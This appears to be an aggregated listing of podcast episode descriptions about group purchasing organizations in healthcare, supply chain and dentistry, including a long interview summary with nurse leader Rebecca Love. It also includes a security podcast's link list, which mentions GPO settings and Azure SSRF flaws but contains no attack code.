If it was stolen from your digital health app or connected medical device, the Federal Trade Commission (FTC) has an answer for that. And an answer for business practices of GPOs and PBMs that raise drug prices for consumers. David Johnson and Julie Murchinson broke down the latest actions by the Federal Trade Commission to protect consumers from high drug prices and protect consumers' personal health data on the new episode of the 4sight Health Roundup podcast moderated by David Burda. David Johnson is CEO of 4sight Health. Julie Vaughan Murchinson is Partner of Transformation Capital and former CEO of Health Evolution. David Burda is News Editor and Columnist of 4sight Health. Listen here or on the 4sight Health YouTube Channel.

GPOs use tactics to squeeze out small suppliers of medications and intentionally create drug shortages of commonly used generic agents in order to replace them on the formulary with more expensive options. Since GPOs make a percentage of the sale of products, their overall revenues increase with these manufactured drug shortages...

GPOs use tactics to squeeze out small suppliers of medications and intentionally create drug shortages of commonly used generic agents in order to replace them on the formulary with more expensive options. Since GPOs make a percentage of the sale of products, their overall revenues increase with these manufactured drug shortages...

Dr. Marion Mass, a pediatrician, explains how Group Purchasing Organizations play a large role in drug and medical supply shortages; the House E&C's Oversight and Investigations Subcommittee is hosting a hearing about the root causes of drug shortages and supply chain issues; the Senate HELP Committee markup on PBMs is today after being postponed from last week; and Dr. Nikki Johnson, a pediatrician, discusses her personal experience with shortages caused by GPOs. Bloomberg Government News Article: White House Assembles Secret Team to Tackle Drug Shortages, Quality Woes House E&C Oversight & Investigations Subcomittee Hearing: “Examining the Root Causes of Drug Shortages: Challenges in Pharmaceutical Drug Supply Chains” Patients Rising Podcast: GPOs Cause Dangerous Shortages  

Another week, another middleman making it harder for patients to get the care that they need. This week, we learn more about Group Purchasing Organizations – also known as GPOs – and how they cause drug and supply shortages across the spectrum of care. And Terry and Bob dive into the healthcare news of the week, including an opinion piece in The Wall Street Journal that details a decision by the Federal Trade Commission which could end up restricting care for patients. Don't forget to register for the 2023 We the Patients Fly-In! Dr. Nikki Johnson Group Purchasing Organizations Impact Access to Medications, Increase Drug Shortages Medical Middlemen: Broken system making it harder for hospitals and patients to get some life-saving drugs Free2Care's Rx for Reforming America's Predatory Healthcare System Patient Impact Report: Copay Accumulators Patient Impact Report: PBMs Watch! Always on Call   Need help? The successful patient is one who can get what they need when they need it. We all know insurance slows us down, so why not take matters into your own hands? Our Navigator is an online tool that allows you to search a massive network of health-related resources using your zip code so you get local results. Get proactive and become a more successful patient right now at the Patients Rising Helpline. Have a question or comment about the show, or want to suggest a show topic or share your story as a patient correspondent? Drop us a line: podcast@patientsrising.org The views and opinions expressed herein are those of the guest(s)/ author(s) and do not reflect the official policy or position of Patients Rising, nor do the views and opinions stated on this show reflect the opinions of a guest's current or previous employers.

Episodes NOW CEC APPROVED for AHRMM members! // What role does a Group Purchasing Organization (GPO) play in facilities and construction projects? Do GPOs have the ability to help leverage data, contracts and use specialized tools to help reduce costs and mitigate risks for healthcare organizations? What role does supply chain have to help manage these expensive yet impactful projects? Join the conversation today as Justin, Hays and Garry speak with Jeff Little, VP Strategic Supplier Engagement at Premier, to learn about the unique opportunities GPOs bring to these large and complex projects. As hospitals look to reduce costs and consolidate spend, GPOs are positioned to help drive further value to their members through their facilities/construction services. Whether you are planning a new surgical services building, or are just a bourbon fan – grab your facilities colleagues and tune in to this episode today!  Once you complete the interview, jump on over to the link below to take a short quiz and download your CEC certificate for .5 CECs! https://lnkd.in/e-EtN2AA #PowerSupply #Podcast #Education #SupplyChain #Healthcare #Purchasing #Contracting #Facilities #Construction #GPO #GroupPurchasingOrganization  

Giving nurses a voice in healthcare is the mission of Rebecca Love, Chief Clinical Officer at IntelyCare & President of SONSIEL. Here she explains why to Jim Cagliostro, and how a hackathon changed her life.     Episode Introduction  In a powerful conversation, Rebecca discusses the impact of the Woodhull study, plummeting post-Covid retention rates in nursing, and how the perception of nursing as ‘'cost'' is damaging to healthcare. She also reveals the imminent launch of the Commission for Reimbursement, why every hospital should run a hackathon, and how encouraging others raises the voices of the entire nursing profession.      Show Topics How a hackathon changed Rebecca's life Nurses as innovators: changing the perception  The findings of the Woodhull study  The real reason nurse retention levels are falling  Gaining a voice during the pandemic Advice for the C-Suite: Run a hackathon  Encouraging nurses into leadership      04:25 How a hackathon changed Rebecca's life  Rebecca described her experience of being a nurse in a room full of decision makers.  ‘'… It was at a hospital in Boston. I'll never forget crossing into it being the nurse, not knowing anybody there. And everybody in Boston was there. All of the major tech startup CEOs, the CEO of the hospital, all the doctors, engineers, scientists, everybody was in this room, hundreds of people. And that's when I walked around and I realized there were no other nurses in that room, James. I was like, "Oh my God, I'm not supposed to be here as a nurse, this is where the decision-makers are." We feel this way constantly as nurses, we know everybody that makes all the decisions are in rooms that we're not in. But nobody asked me to leave that weekend, James, and I ended up joining a team, and that's when my whole life changed because we were sitting in these rooms where we were hashing out. I had a doctor and my team, I had an engineer and an occupational therapist. I had a scientist, were all in there. And in walked the CEO of the hospital and he literally sat down next to me and he said, "So, tell us what is your problem and what's your solution that you're fixing?" And this gentleman, our physician starts talking like, "Well, here's the problem and here's how we're going to solve it on the floor."  And I'm squirming, right. Because I'm hearing this doctor explain a solution that's not going to work. So, I finally speak up and I say, "That's not how it's done on the hospital floor. If we do it that way, it's just going to create more work for the nurses." And they looked at each other and the CEO looks at me and goes, "Well, how did I not know that's not how it worked on the floor of the hospital?" And I said, "Well, did you ever ask a nurse?" And they started laughing. So then, I started laughing because I didn't really know what was funny. And then, I realized they thought it was funny to have ever thought about asking a nurse how they should solve these problems.''   07:22 Nurses as innovators: changing the perception  Rebecca explained how SONSIEL (Society of Nurse Scientists, Innovators, Entrepreneurs and Leaders) evolved out of her first nurse hackathon. ‘'And that's when I hypothesized, oh my God, if we had nurse hackathons, we could change the future of healthcare because nurses have the practical knowledge and experience that they are closest to the problem. That if they were given the opportunity a team to be heard and seen and built towards the solution, we could solve all of the insanity that we live every day as nurses that we could fix healthcare. So, I went on, and that was the story. We finally, after 200 phone calls connected with the dean at Northeastern, Nancy Hanrahan didn't hang up the phone on me and she said, "Next summer, Rebecca, I'm running a conference on innovation entrepreneurship. Why don't you run a hackathon?" …. And I said, "Sure, I've been through a hackathon. I'll run one for you." And just jumped in. And that event, that nurse hackathon at Northeastern that we built to which nobody talked about innovation or entrepreneurship as nurses back, if you look in 2015, there was like a handful of articles that mentored those words, but none of them in the same sentence. Like nobody believed nurses could be innovators. And we built to that event in 2016 that ended up changing my life and ended up changing the idea that nurses could be innovators and entrepreneurs because we built the first nurse innovation and entrepreneurship program out of Northeastern for two years and then spun that out into SONSIEL. So, James, that was a very long story about one of the things that we didn't talk about, but change the credit, and I'd say this to nurses all the time, A hackathon is going to change your life because it empowers you to take ownerships of the problems you want to solve.''   10:35 The findings of the Woodhull study  Rebecca said the study revealed how the views of nurses were overlooked during important discussions around healthcare. ‘'... It was founded by Nancy Woodhull, who was the editor of USA Today, who in 1998 wanted to understand why nurses were missing from so many media stories in the mainstream media when they represented at the time 3.5 million in the entire country, the largest healthcare workforce like it is today. But they were absent from many of the conversations that they would've been centered to germane to the story as she said. So, they found in 1998 that 4% of all media stories were nurses would've been relevant. That is all they were quoted of the 100% of our only 4% of news stories mentioned or quoted nurses at that time. So, they reran the study in 2018, co-sponsored by woman under the name of Barbara Glickstein. Now in 2018, did we expect that number would've gone up or down?You would hope up, except the study showed not only had it not gone up, it had gone down by half. Nurses in 2018, were now sourced, incited less than 2% in all major media stories and absolutely devastating one. So, nurses have abdicated their voice to everybody else except ourselves to speak on our behalf. ‘'   16:37 The real reason nurse retention levels are falling Rebecca said the view of nurses as a ‘'cost'' is causing nurses to leave the healthcare sector.  ‘'There is a shortage of nurses willing to work in the healthcare environments again, that they are today. And the numbers showed out even before COVID, 57% of new grads left the bedside within two years of practice. Nobody wanted to address that, right? They're like, "We're just going to produce more nurses." And a lot of the conversations I'm hearing at the federal level are saying, "We're just going to produce more nurses." We produce plenty of nurses. What we don't do is we don't retain them. Do you know that since COVID, before COVID, the average length of an experience on a 12-hour shift was six years of experience. Today, it's 2.7 years of experience of a nurse. That is your average nurse length of experience. That's still a novice nurse, but it dropped almost three years from length of experience on being on 12-hours shift. So, here's the reality. Why is this existing? The reason exists today is because nurses are cost to healthcare system, James, and because they are cost, we deinvest in that there is always an argument to say, "We need more nurses," and hospital systems will say, "Well, we can't afford more nurses now," but they always can afford more physical therapists or occupational therapists or doctors, right? They're not a cost to healthcare systems. They have a reimbursable service that pays for them. But as nurses, we only are cost. ‘'   26:43 Gaining a voice during the pandemic  Rebecca gave examples of how nurses are gradually becoming more involved in the decision-making process.  ‘'… I still think that there's barriers, but I think even in COVID, we saw that nurses really were able to take charge of a lot of their systems and supply chains failed, GPOs, group purchasing organizations and vendor management platforms. They all failed in the name of code and allow nurses to get really savvy about getting what they needed into hospital systems. Now, you have people like Hiyam Nadel, the first director of Innovations at Massachusetts General Hospital nurse appointed over to really recognizing, "Hey, what products would help us work better for our nursing workforce?" We saw a rollback of the role of the chief nursing informatics officers after EHR's rolled back, but now we're seeing a resurgence of those chief nurse informatics officers who are being employed by hospital and healthcare systems to basically validate the technology from the nursing perspective. So, this has been a really exciting thing. So, you just saw Becky Fox just be chain, the chief clinical informatics officer for all of Intermountain, for example, you have Brian Weirich, he's the chief nurse information executive for all of Banner Healthcare. These are newer roles that are helping hospitals shape, you know what? Okay, we're going to roll out this product. We better have our nurse informaticist officer check to make sure that it's going to work out. That is super exciting, and I think the best hospitals are starting to see that this is going to happen. And so, there is the American Nurse Association of Informatics, really cool group of rockstar nurses who are pioneering this space and demanding that their voices are heard.''   36:10 Advice for the C-Suite: Run a hackathon Rebecca said a hackathon can offer health systems the opportunity to value nurses and deliver vital solutions.  ‘'... I feel the stress that our leadership is under in these executive positions because they're caught in some really difficult positions. That being said, we know that healthcare does not function without nurses. And for a very long time, we have not given nurses a seat at the table to drive the changes they have. So here's my advice, instead of spending the millions of dollars that you are on your consultants, you have a problem you want to solve with falls, readmissions, bed throughput, run a hackathon with your healthcare system and ask the nurses to solve it. I guarantee those answers that you get for the small amount of dollars you spend are the answers that you have been looking for to solve those problems. Not only then do you solve two issues you solve, basically solving a problem for your institution, but suddenly you made that nursing workforce feel, seen, heard, and valued by one single event. So, here's my answer to you. Start looking at your workforce, not as the competition or as the enemy, but as the solution. And if you feel like this is something that you need to tackle head on, one thing that we know today is what we've been doing has not been working. So, it is the time for radical change, and that is hard. But find those people who want to own it, empower them to do it, and you're going to get back tenfold from anything that you do to empower your frontline. That's not pizza parties, and that's not a banana for nurses' week. It's a hackathon that makes them identify the problems they want to solve and actually drive your healthcare system forward together. So, that would be my advice.''   38:24 Encouraging nurses into leadership  Rebecca said championing colleagues and rising together as a profession can help to empower all nurses.  ‘'Stop being hidden, get out on social, and if you don't feel comfortable making a post, start commenting on the posts or liking the posts of those nurses who are being brave enough to do so. The truth is, it's time for us as one profession to come together and control the narrative that everybody else has controlled for us for a very long time. So, if you don't see yourself as that leader, be the champions of the others who do, I'm a big believer that a rising tide raises all boats and more nurses that have success in this world. The more nurses who start companies and are successful and are financially successful, more nurses who are getting airtime in the media, the more nurses who are getting senior leadership positions in untraditional nursing roles like chief clinical officers or CEOs, we want to amplify them because the more that we can get up high levels, the entire profession is going to rise with them. So, champion every nurses forward, if you are one of those nursing leaders, reach back through and pull up that next one for tomorrow too long. As nurses, we have been threatened by other success, and I am telling you that mindset has kept our profession down. So, if you want to do something great, stand up and applaud every single amazing nurse around you. And let me tell you, it is going to come back to you, not tenfold, but a hundredfold because the energy you put out there, helping other people to be successful comes back to you in ways that you don't even realize today. And I think that in all honesty, is the only reason I am here today is because I realized if I can help other people be successful, I didn't care.‘'     Connect with Lisa Miller on LinkedIn Connect with Jim Cagliostro on LinkedIn Connect with Rebecca Love on LinkedIn   Check out VIE Healthcare and SpendMend    You'll also hear:    Finding soul sisters and soul brothers in nursing: ‘'..every day ..they give you hope for a better future. And I think that's what's so incredibly powerful on nursing is that the reason that we do our jobs, it's not because it was ever about the money… it's about everything that we do is about making the world better.''    Lessons from a hackathon: ‘'I learned more in the course of that weekend about the business of healthcare than I had ever learned in my life of trying to build a company.''   Reversing the trend and empowering nurses: How Rebecca uses LinkedIn to reclaim the voice of nursing.    Changing the status quo in healthcare: ‘'The status quo of healthcare doesn't speak for nurses anymore because the truth is we've allowed you to do that, and you haven't listened. And because of it, our entire profession is crumbling because the status quo has failed nursing, and it's time we change it.''   Launching the Commission for Nurse Reimbursement: ‘'.. Until we fix the reimbursement and financial model around nursing, we will not be able to fix the nursing crisis because healthcare can no longer afford nursing as it is structured today.''      What To Do Next:   Subscribe to The Economics of Healthcare and receive a special report on 15 Effective Cost Savings Strategies.   There are three ways to work with VIE Healthcare:   Benchmark a vendor contract – either an existing contract or a new agreement. We can support your team with their cost savings initiatives to add resources and expertise. We set a bold cost savings goal and work together to achieve it.  VIE can perform a cost savings opportunity assessment. We dig deep into all of your spend and uncover unique areas of cost savings.  If you are interested in learning more, the quickest way to get your questions answered is to speak with Lisa Miller at lmiller@spendmend.com or directly at 732-319-5700  

In this engaging episode of the Digital Supply Chain podcast, I, Tom Raftery, had the opportunity to speak with James Hallock, Chief Revenue Officer and Interim CEO at CoreTrust, a Group Purchasing Organization (GPO) with over 2,800 members and more than 150 contracts across numerous categories of indirect spend.James shares his insights on how GPOs work and the benefits they provide to their members by leveraging the collective purchasing power. We delve into the role of GPOs in driving sustainable practices and the importance of supplier relationships. James also clarifies some common misconceptions about GPOs, emphasizing that they are not just for smaller companies, but can bring value to larger organizations as well.Key topics discussed in this episode include:An introduction to Group Purchasing Organizations (GPOs) and their role in procurementHow GPOs help businesses save money and streamline their supply chain processesThe role of sustainability in GPOs and the impact on supplier relationshipsDebunking misconceptions about GPOs and their target audienceDon't miss this informative conversation with James Hallock, where we explore the world of GPOs and their impact on the digital supply chain.Join us and be sure to subscribe to the Digital Supply Chain podcast for more insightful discussions on technology, sustainability, and the future of supply chains.Don't forget you can also check out the video version of this podcast on YoutubeDavid C Barnett Small Business and Deal Making M&A SMBI discuss buying, selling, financing and managing small and medium sized businesses...Listen on: Apple Podcasts SpotifyPodcast supportersI'd like to sincerely thank this podcast's generous supporters: Lorcan Sheehan Krishna Kumar Christophe Kottelat Olivier Brusle Robert Conway Alexandra Katopodis Alicia Farag Joël VANDI And remember you too can Support the Podcast - it is really easy and hugely important as it will enable me to continue to create more excellent Digital Supply Chain episodes like this one.Podcast Sponsorship Opportunities:If you/your organisation is interested in sponsoring this podcast - I have several options available. Let's talk!FinallyIf you have any comments/suggestions or questions for the podcast - feel free to just send me a direct message on Twitter/LinkedIn. If you liked this show, please don't forget to rate and/or review it. It makes a big difference to help new people discover it. Thanks for listening.

Finding that one GPO setting in a pool of hundreds of GPOs https://isc.sans.edu/diary/Finding%20that%20one%20GPO%20Setting%20in%20a%20Pool%20of%20Hundreds%20of%20GPOs/29442 GIT Code Audit https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/ Azure SSRF Flaws https://orca.security/resources/blog/ssrf-vulnerabilities-in-four-azure-services/ SMB Insecure Guest Auth Off By Default In Windows 11 Pro https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-insecure-guest-auth-now-off-by-default-in-windows-insider/ba-p/3715014 Packet Tuesday: IPv6 Router Advertisements https://www.youtube.com/watch?v=uRWpB_lYIZ8

Finding that one GPO setting in a pool of hundreds of GPOs https://isc.sans.edu/diary/Finding%20that%20one%20GPO%20Setting%20in%20a%20Pool%20of%20Hundreds%20of%20GPOs/29442 GIT Code Audit https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/ Azure SSRF Flaws https://orca.security/resources/blog/ssrf-vulnerabilities-in-four-azure-services/ SMB Insecure Guest Auth Off By Default In Windows 11 Pro https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-insecure-guest-auth-now-off-by-default-in-windows-insider/ba-p/3715014 Packet Tuesday: IPv6 Router Advertisements https://www.youtube.com/watch?v=uRWpB_lYIZ8

Kiera is joined by Dr. Richard Offut and Dr. Mustafa Shah-Khan, co-founders of Synergy Dental Partners, to talk about the power of a dental group purchasing organization (or GPO). This approach is an opportunity for general practitioners to compete with mass corporate offices but preserve their independent practice. Dr. Offut and Dr. Shah-Khan discuss with Kiera the following: What a dental GPO is and how Synergy works How Synergy can get you discounts on dental supplies and services Why Synergy could be a great option for your practice The average savings for offices involved Episode resources: Learn more about and connect with Synergy Dental Partners Reach out to Kiera Subscribe to the Dental A-Team podcast  Become Dental A-Team Platinum! Review the podcast on iTunes

They say the proof is in the pudding, so if you want to understand the value of a group purchasing organization (GPO), look no further than the successful partnership between Lanter Delivery Systems and OMNIA Partners. In this episode, tune in to hear Greg and Scott chat with Johnathan Foster of Lanter Delivery Systems and Robert Mietus of OMNIA Partners on how GPOs save you money and free up your time to focus on change management, why they're ideal for smaller to mid-sized companies, the important role of data, how to overcome common challenges and more.Additional Links & Resources:Learn more about Supply Chain Now: https://supplychainnow.comCheck out our new Supply Chain Now Media Kit: https://bit.ly/3zKRLyLSubscribe to Supply Chain Now and all other Supply Chain Now programs: https://supplychainnow.com/subscribeLearn more about OMNIA Partners: https://www.omniapartners.com/Leveraging Logistics and Supply Chain for Ukraine: https://vectorgl.com/stand-with-ukraine/2022 Q3 U.S. Bank Freight Payment Index: https://freight.usbank.comWEBINAR- Undermanaged Spend Categories: How GPOs Can Help Mitigate Your Risks: https://bit.ly/3SM5WeKWEBINAR- Supply Chain Planning: Growing your Process Maturity in 2023: https://bit.ly/3T9esEjThis episode is hosted by Scott Luton and Greg White. For additional information, please visit our dedicated show page at: https://supplychainnow.com/how-strengthen-supplier-relationships-speed-time-value-gpo-1028